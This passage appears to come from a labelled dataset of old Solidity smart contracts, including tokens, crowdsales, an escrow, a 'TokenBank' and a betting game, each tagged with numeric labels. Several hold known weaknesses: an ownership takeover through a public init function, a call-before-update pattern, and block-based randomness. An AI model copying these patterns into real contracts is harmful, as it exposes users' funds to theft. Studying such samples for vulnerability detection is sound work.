function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
using SafeERC20 for ERC20;
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Contactable is Ownable {
string public contactInformation;
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
contract BetlyCoin is StandardToken, Ownable, BurnableToken {
string public constant name = "BetlyCoin";
string public constant symbol = "BETLY";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
function BetlyCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 2,154 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
address addressOfTokenUsedAsReward
) public{
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
price = (0.00001 ether)/100000 ;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline public {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline public {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 1,088 |
pragma solidity ^0.4.18;
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
{
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface tokenRecipient
{
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 is Ownable
{
using SafeMath for uint;
string public name;
string public symbol;
uint256 public decimals = 18;
uint256 DEC = 10 ** uint256(decimals);
uint256 public totalSupply;
uint256 public avaliableSupply;
uint256 public buyPrice = 1000000000000000000 wei;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public
{
totalSupply = initialSupply.mul(DEC);
balanceOf[this] = totalSupply;
avaliableSupply = balanceOf[this];
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint256 _value) internal
{
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public
{
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success)
{
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyOwner
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success)
{
allowance[msg.sender][_spender] = allowance[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success)
{
uint oldValue = allowance[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowance[msg.sender][_spender] = 0;
} else {
allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public onlyOwner
returns (bool success)
{
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
avaliableSupply = avaliableSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public onlyOwner
returns (bool success)
{
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
avaliableSupply = avaliableSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
}
contract ERC20Extending is TokenERC20
{
using SafeMath for uint;
function transferEthFromContract(address _to, uint256 amount) public onlyOwner
{
_to.transfer(amount);
}
function transferTokensFromContract(address _to, uint256 _value) public onlyOwner
{
avaliableSupply = avaliableSupply.sub(_value);
_transfer(this, _to, _value);
}
}
contract Pauseble is TokenERC20
{
event EPause();
event EUnpause();
bool public paused = true;
uint public startIcoDate = 0;
modifier whenNotPaused()
{
require(!paused);
_;
}
modifier whenPaused()
{
require(paused);
_;
}
function pause() public onlyOwner
{
paused = true;
emit EPause();
}
function pauseInternal() internal
{
paused = true;
emit EPause();
}
function unpause() public onlyOwner
{
paused = false;
emit EUnpause();
}
function unpauseInternal() internal
{
paused = false;
emit EUnpause();
}
}
contract StreamityCrowdsale is Pauseble
{
using SafeMath for uint;
uint public stage = 0;
event CrowdSaleFinished(string info);
struct Ico {
uint256 tokens;
uint startDate;
uint endDate;
uint8 discount;
uint8 discountFirstDayICO;
}
Ico public ICO;
function changeRate(uint256 _numerator, uint256 _denominator) public onlyOwner
returns (bool success)
{
if (_numerator == 0) _numerator = 1;
if (_denominator == 0) _denominator = 1;
buyPrice = (_numerator.mul(DEC)).div(_denominator);
return true;
}
function crowdSaleStatus() internal constant
returns (string)
{
if (1 == stage) {
return "Pre-ICO";
} else if(2 == stage) {
return "ICO first stage";
} else if (3 == stage) {
return "ICO second stage";
} else if (4 >= stage) {
return "feature stage";
}
return "there is no stage at present";
}
function sell(address _investor, uint256 amount) internal
{
uint256 _amount = (amount.mul(DEC)).div(buyPrice);
if (1 == stage) {
_amount = _amount.add(withDiscount(_amount, ICO.discount));
}
else if (2 == stage)
{
if (now <= ICO.startDate + 1 days)
{
if (0 == ICO.discountFirstDayICO) {
ICO.discountFirstDayICO = 20;
}
_amount = _amount.add(withDiscount(_amount, ICO.discountFirstDayICO));
} else {
_amount = _amount.add(withDiscount(_amount, ICO.discount));
}
} else if (3 == stage) {
_amount = _amount.add(withDiscount(_amount, ICO.discount));
}
if (ICO.tokens < _amount)
{
emit CrowdSaleFinished(crowdSaleStatus());
pauseInternal();
revert();
}
ICO.tokens = ICO.tokens.sub(_amount);
avaliableSupply = avaliableSupply.sub(_amount);
_transfer(this, _investor, _amount);
}
function startCrowd(uint256 _tokens, uint _startDate, uint _endDate, uint8 _discount, uint8 _discountFirstDayICO) public onlyOwner
{
require(_tokens * DEC <= avaliableSupply);
startIcoDate = _startDate;
ICO = Ico (_tokens * DEC, _startDate, _startDate + _endDate * 1 days , _discount, _discountFirstDayICO);
stage = stage.add(1);
unpauseInternal();
}
function transferWeb3js(address _investor, uint256 _amount) external onlyOwner
{
sell(_investor, _amount);
}
function withDiscount(uint256 _amount, uint _percent) internal pure
returns (uint256)
{
return (_amount.mul(_percent)).div(100);
}
}
contract StreamityContract is ERC20Extending, StreamityCrowdsale
{
using SafeMath for uint;
uint public weisRaised;
function StreamityContract() public TokenERC20(130000000, "Streamity", "STM") {}
function () public payable
{
assert(msg.value >= 1 ether / 10);
require(now >= ICO.startDate);
if (now >= ICO.endDate) {
pauseInternal();
emit CrowdSaleFinished(crowdSaleStatus());
}
if (0 != startIcoDate) {
if (now < startIcoDate) {
revert();
} else {
startIcoDate = 0;
}
}
if (paused == false) {
sell(msg.sender, msg.value);
weisRaised = weisRaised.add(msg.value);
}
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
library ECRecovery {
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract ContractToken {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
}
contract StreamityEscrow is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using ECRecovery for bytes32;
uint8 constant public STATUS_NO_DEAL = 0x0;
uint8 constant public STATUS_DEAL_WAIT_CONFIRMATION = 0x01;
uint8 constant public STATUS_DEAL_APPROVE = 0x02;
uint8 constant public STATUS_DEAL_RELEASE = 0x03;
TokenERC20 public streamityContractAddress;
uint256 public availableForWithdrawal;
uint32 public requestCancelationTime;
mapping(bytes32 => Deal) public streamityTransfers;
function StreamityEscrow(address streamityContract) public {
require(streamityContract != 0x0);
requestCancelationTime = 2 hours;
streamityContractAddress = TokenERC20(streamityContract);
}
struct Deal {
uint256 value;
uint256 cancelTime;
address seller;
address buyer;
uint8 status;
uint256 commission;
bool isAltCoin;
}
event StartDealEvent(bytes32 _hashDeal, address _seller, address _buyer);
event ApproveDealEvent(bytes32 _hashDeal, address _seller, address _buyer);
event ReleasedEvent(bytes32 _hashDeal, address _seller, address _buyer);
event SellerCancelEvent(bytes32 _hashDeal, address _seller, address _buyer);
function pay(bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _commission, bytes _sign)
external
payable
{
require(msg.value > 0);
require(msg.value == _value);
require(msg.value > _commission);
bytes32 _hashDeal = keccak256(_tradeID, _seller, _buyer, msg.value, _commission);
verifyDeal(_hashDeal, _sign);
startDealForUser(_hashDeal, _seller, _buyer, _commission, msg.value, false);
}
function () public payable {
availableForWithdrawal = availableForWithdrawal.add(msg.value);
}
function payAltCoin(bytes32 _tradeID, address _seller, address _buyer, uint256 _value, uint256 _commission, bytes _sign)
external
{
bytes32 _hashDeal = keccak256(_tradeID, _seller, _buyer, _value, _commission);
verifyDeal(_hashDeal, _sign);
bool result = streamityContractAddress.transferFrom(msg.sender, address(this), _value);
require(result == true);
startDealForUser(_hashDeal, _seller, _buyer, _commission, _value, true);
}
function verifyDeal(bytes32 _hashDeal, bytes _sign) private view {
require(_hashDeal.recover(_sign) == owner);
require(streamityTransfers[_hashDeal].status == STATUS_NO_DEAL);
}
function startDealForUser(bytes32 _hashDeal, address _seller, address _buyer, uint256 _commission, uint256 _value, bool isAltCoin)
private returns(bytes32)
{
Deal storage userDeals = streamityTransfers[_hashDeal];
userDeals.seller = _seller;
userDeals.buyer = _buyer;
userDeals.value = _value;
userDeals.commission = _commission;
userDeals.cancelTime = block.timestamp.add(requestCancelationTime);
userDeals.status = STATUS_DEAL_WAIT_CONFIRMATION;
userDeals.isAltCoin = isAltCoin;
emit StartDealEvent(_hashDeal, _seller, _buyer);
return _hashDeal;
}
function withdrawCommisionToAddress(address _to, uint256 _amount) external onlyOwner {
require(_amount <= availableForWithdrawal);
availableForWithdrawal = availableForWithdrawal.sub(_amount);
_to.transfer(_amount);
}
function withdrawCommisionToAddressAltCoin(address _to, uint256 _amount) external onlyOwner {
streamityContractAddress.transfer(_to, _amount);
}
function getStatusDeal(bytes32 _hashDeal) external view returns (uint8) {
return streamityTransfers[_hashDeal].status;
}
uint256 constant GAS_releaseTokens = 60000;
function releaseTokens(bytes32 _hashDeal, uint256 _additionalGas)
external
nonReentrant
returns(bool)
{
Deal storage deal = streamityTransfers[_hashDeal];
if (deal.status == STATUS_DEAL_APPROVE) {
deal.status = STATUS_DEAL_RELEASE;
bool result = false;
if (deal.isAltCoin == false)
result = transferMinusComission(deal.buyer, deal.value, deal.commission.add((msg.sender == owner ? (GAS_releaseTokens.add(_additionalGas)).mul(tx.gasprice) : 0)));
else
result = transferMinusComissionAltCoin(streamityContractAddress, deal.buyer, deal.value, deal.commission);
if (result == false) {
deal.status = STATUS_DEAL_APPROVE;
return false;
}
emit ReleasedEvent(_hashDeal, deal.seller, deal.buyer);
delete streamityTransfers[_hashDeal];
return true;
}
return false;
}
function releaseTokensForce(bytes32 _hashDeal)
external onlyOwner
nonReentrant
returns(bool)
{
Deal storage deal = streamityTransfers[_hashDeal];
uint8 prevStatus = deal.status;
if (deal.status != STATUS_NO_DEAL) {
deal.status = STATUS_DEAL_RELEASE;
bool result = false;
if (deal.isAltCoin == false)
result = transferMinusComission(deal.buyer, deal.value, deal.commission);
else
result = transferMinusComissionAltCoin(streamityContractAddress, deal.buyer, deal.value, deal.commission);
if (result == false) {
deal.status = prevStatus;
return false;
}
emit ReleasedEvent(_hashDeal, deal.seller, deal.buyer);
delete streamityTransfers[_hashDeal];
return true;
}
return false;
}
uint256 constant GAS_cancelSeller = 30000;
function cancelSeller(bytes32 _hashDeal, uint256 _additionalGas)
external onlyOwner
nonReentrant
returns(bool)
{
Deal storage deal = streamityTransfers[_hashDeal];
if (deal.cancelTime > block.timestamp)
return false;
if (deal.status == STATUS_DEAL_WAIT_CONFIRMATION) {
deal.status = STATUS_DEAL_RELEASE;
bool result = false;
if (deal.isAltCoin == false)
result = transferMinusComission(deal.seller, deal.value, GAS_cancelSeller.add(_additionalGas).mul(tx.gasprice));
else
result = transferMinusComissionAltCoin(streamityContractAddress, deal.seller, deal.value, _additionalGas);
if (result == false) {
deal.status = STATUS_DEAL_WAIT_CONFIRMATION;
return false;
}
emit SellerCancelEvent(_hashDeal, deal.seller, deal.buyer);
delete streamityTransfers[_hashDeal];
return true;
}
return false;
}
function approveDeal(bytes32 _hashDeal)
external
onlyOwner
nonReentrant
returns(bool)
{
Deal storage deal = streamityTransfers[_hashDeal];
if (deal.status == STATUS_DEAL_WAIT_CONFIRMATION) {
deal.status = STATUS_DEAL_APPROVE;
emit ApproveDealEvent(_hashDeal, deal.seller, deal.buyer);
return true;
}
return false;
}
function transferMinusComission(address _to, uint256 _value, uint256 _commission)
private returns(bool)
{
uint256 _totalComission = _commission;
require(availableForWithdrawal.add(_totalComission) >= availableForWithdrawal);
availableForWithdrawal = availableForWithdrawal.add(_totalComission);
_to.transfer(_value.sub(_totalComission));
return true;
}
function transferMinusComissionAltCoin(TokenERC20 _contract, address _to, uint256 _value, uint256 _commission)
private returns(bool)
{
uint256 _totalComission = _commission;
_contract.transfer(_to, _value.sub(_totalComission));
return true;
}
function setStreamityContractAddress(address newAddress)
external onlyOwner
{
streamityContractAddress = TokenERC20(newAddress);
}
function transferToken(ContractToken _tokenContract, address _transferTo, uint256 _value) onlyOwner external {
_tokenContract.transfer(_transferTo, _value);
}
function transferTokenFrom(ContractToken _tokenContract, address _transferTo, address _transferFrom, uint256 _value) onlyOwner external {
_tokenContract.transferFrom(_transferTo, _transferFrom, _value);
}
function approveToken(ContractToken _tokenContract, address _spender, uint256 _value) onlyOwner external {
_tokenContract.approve(_spender, _value);
}
} | 0 | 479 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Crowdsale {
string public name;
address private creator;
uint public offset;
uint public length;
uint public price;
uint public softCap;
uint public hardCap;
uint private quantum;
uint public collected;
uint public investorsCount;
uint public refunded;
uint public tokensIssued;
uint public tokensRedeemed;
uint public transactions;
uint public refunds;
DetailedERC20 private token;
uint k;
address public beneficiary;
mapping(address => uint) public balances;
event InvestmentAccepted(address indexed holder, uint tokens, uint value);
event RefundIssued(address indexed holder, uint tokens, uint value);
function Crowdsale(
string _name,
uint _offset,
uint _length,
uint _price,
uint _softCap,
uint _hardCap,
uint _quantum,
address _beneficiary,
address _token
) public {
require(_length > 0);
require(now < _offset + _length);
require(_hardCap > _softCap || _hardCap == 0);
require(_price > 0);
require(_beneficiary != address(0));
require(_token != address(0));
name = _name;
offset = _offset;
length = _length;
softCap = _softCap;
hardCap = _hardCap;
quantum = _quantum;
price = _price;
creator = msg.sender;
beneficiary = _beneficiary;
__allocateTokens(_token);
}
function invest() public payable {
assert(now >= offset && now < offset + length);
assert(collected + price <= hardCap || hardCap == 0);
require(msg.value >= price);
address investor = msg.sender;
uint tokens = msg.value / price;
uint value = tokens * price;
if (value + collected > hardCap || hardCap == 0) {
value = hardCap - collected;
tokens = value / price;
value = tokens * price;
}
collected += value;
tokensIssued += tokens;
__issueTokens(investor, tokens);
investor.transfer(msg.value - value);
if (collected >= softCap && this.balance >= quantum) {
__beneficiaryTransfer(this.balance);
}
InvestmentAccepted(investor, tokens, value);
}
function refund() public payable {
assert(now >= offset + length);
assert(collected < softCap);
address investor = msg.sender;
uint tokens = __redeemAmount(investor);
uint refundValue = tokens * price;
require(tokens > 0);
refunded += refundValue;
tokensRedeemed += tokens;
refunds++;
__redeemTokens(investor, tokens);
investor.transfer(refundValue + msg.value);
RefundIssued(investor, tokens, refundValue);
}
function withdraw() public {
assert(creator == msg.sender || beneficiary == msg.sender);
assert(collected >= softCap);
assert(this.balance > 0);
uint value = this.balance;
__beneficiaryTransfer(value);
}
function() public payable {
require(now >= offset);
if(now < offset + length) {
invest();
}
else if(collected < softCap) {
refund();
}
else {
withdraw();
}
}
function __allocateTokens(address _token) internal {
token = DetailedERC20(_token);
k = 10 ** uint(token.decimals());
}
function __issueTokens(address investor, uint tokens) internal {
if (balances[investor] == 0) {
investorsCount++;
}
balances[investor] += tokens;
token.transferFrom(creator, investor, tokens * k);
}
function __redeemAmount(address investor) internal view returns (uint amount) {
uint allowance = token.allowance(investor, this) / k;
uint balance = balances[investor];
return balance < allowance ? balance : allowance;
}
function __redeemTokens(address investor, uint tokens) internal {
balances[investor] -= tokens;
token.transferFrom(investor, creator, tokens * k);
}
function __beneficiaryTransfer(uint value) internal {
beneficiary.transfer(value);
}
} | 0 | 727 |
pragma solidity ^0.4.19;
contract Ownable
{
address newOwner;
address owner = msg.sender;
function changeOwner(address addr)
public
onlyOwner
{
newOwner = addr;
}
function confirmOwner()
public
{
if(msg.sender==newOwner)
{
owner=newOwner;
}
}
modifier onlyOwner
{
if(owner == msg.sender)_;
}
}
contract Token is Ownable
{
address owner = msg.sender;
function WithdrawToken(address token, uint256 amount,address to)
public
onlyOwner
{
token.call(bytes4(sha3("transfer(address,uint256)")),to,amount);
}
}
contract TokenBank is Token
{
uint public MinDeposit;
mapping (address => uint) public Holders;
function initTokenBank()
public
{
owner = msg.sender;
MinDeposit = 1 ether;
}
function()
payable
{
Deposit();
}
function Deposit()
payable
{
if(msg.value>MinDeposit)
{
Holders[msg.sender]+=msg.value;
}
}
function WitdrawTokenToHolder(address _to,address _token,uint _amount)
public
onlyOwner
{
if(Holders[_to]>0)
{
Holders[_to]=0;
WithdrawToken(_token,_amount,_to);
}
}
function WithdrawToHolder(address _addr, uint _wei)
public
onlyOwner
payable
{
if(Holders[_addr]>0)
{
if(_addr.call.value(_wei)())
{
Holders[_addr]-=_wei;
}
}
}
} | 1 | 3,558 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BlackAndWhite is Ownable {
using SafeMath for uint256;
uint8 constant BLACK = 0;
uint8 constant WHITE = 1;
uint constant TEAM_PERCENT = 2;
uint constant BET_EXPIRATION_BLOCKS = 250;
uint public betAmount = 50000000000000000;
uint public minAmount = 100000000000000000;
uint public lockedInBets;
uint public teamBalance;
uint betId;
struct Bet {
uint amount;
uint8 option;
uint40 placeBlockNumber;
address gambler;
}
mapping (uint => Bet) bets;
address public botAddress;
modifier onlyBot {
require (msg.sender == botAddress);
_;
}
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event Commit(address gambler, uint commit, uint8 option);
event Reveal(uint betId, uint reveal, uint seed, uint amount, address gambler, uint8 betOption);
event NewPrice(uint newPrice);
constructor() public {
botAddress = 0x3be76eeFF089AF790dd8Cbf3b921e430a962214d;
betId = 0;
}
function setBotAddress(address newAddress) external onlyOwner {
botAddress = newAddress;
}
function() external payable {
}
function placeBet(uint8 option) public payable {
require(option == BLACK || option == WHITE);
Bet storage bet = bets[betId];
require (bet.gambler == address(0));
betId = betId.add(1);
uint amount = msg.value;
require(amount == betAmount);
uint possibleWinAmount;
possibleWinAmount = getWinAmount(amount);
lockedInBets = lockedInBets.add(possibleWinAmount);
require (lockedInBets <= address(this).balance);
emit Commit(msg.sender, betId.sub(1), option);
bet.amount = amount;
bet.option = option;
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
}
function settleBet(uint _betId, uint data) external onlyBot {
require(data != 0);
Bet storage bet = bets[_betId];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber);
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS);
uint amount = bet.amount;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
uint possibleWinAmount = getWinAmount(amount);
uint winAmount = 0;
uint seed = uint(keccak256(abi.encodePacked(block.timestamp, block.difficulty)));
uint random = data.add(seed);
if(bet.option == BLACK) {
winAmount = random % 2 == BLACK ? possibleWinAmount : 0;
}
if(bet.option == WHITE) {
winAmount = random % 2 == WHITE ? possibleWinAmount : 0;
}
if(winAmount > 0) {
require(address(this).balance >= minAmount + winAmount + teamBalance );
}
teamBalance = teamBalance.add(beneficiaryPercent(amount));
lockedInBets -= possibleWinAmount;
sendFunds(gambler, winAmount);
emit Reveal(_betId, data, seed, winAmount, gambler, bet.option);
}
function refundBet(uint _betId) external {
Bet storage bet = bets[_betId];
uint amount = bet.amount;
require (amount != 0);
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS);
bet.amount = 0;
uint winAmount;
winAmount = getWinAmount(amount);
lockedInBets -= uint128(winAmount);
sendFunds(bet.gambler, amount);
}
function getWinAmount(uint amount) private pure returns (uint winAmount) {
uint team = beneficiaryPercent(amount);
winAmount = (amount * 2) - team;
}
function beneficiaryPercent(uint amount) private pure returns(uint) {
uint team = amount * TEAM_PERCENT / 100;
require(team <= amount);
return team;
}
function sendFunds(address _beneficiary, uint amount) private {
if (_beneficiary.send(amount)) {
